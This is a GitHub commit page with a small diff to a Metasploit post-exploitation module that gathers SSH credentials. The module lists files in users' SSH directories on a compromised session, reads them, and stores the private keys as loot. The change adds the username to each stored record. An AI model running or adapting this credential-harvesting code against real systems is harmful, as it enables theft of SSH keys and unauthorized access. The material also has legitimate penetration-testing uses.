We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents 8239998 + e406957 commit 0390bafCopy full SHA for 0390baf
modules/post/multi/gather/ssh_creds.rb
@@ -59,7 +59,9 @@ def download_loot(paths)
59
sep = "/"
60
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
61
end
62
-
+ path_array = path.split(sep)
63
+ path_array.pop
64
+ user = path_array.pop
65
files.each do |file|
66
next if [".", ".."].include?(file)
67
data = read_file("#{path}#{sep}#{file}")
@@ -77,6 +79,7 @@ def download_loot(paths)
77
79
:host => session.session_host,
78
80
:port => 22,
81
:sname => 'ssh',
82
+ :user => user,
83
:pass => loot_path,
84
:source_type => "exploit",
85
:type => 'ssh_key',
0 commit comments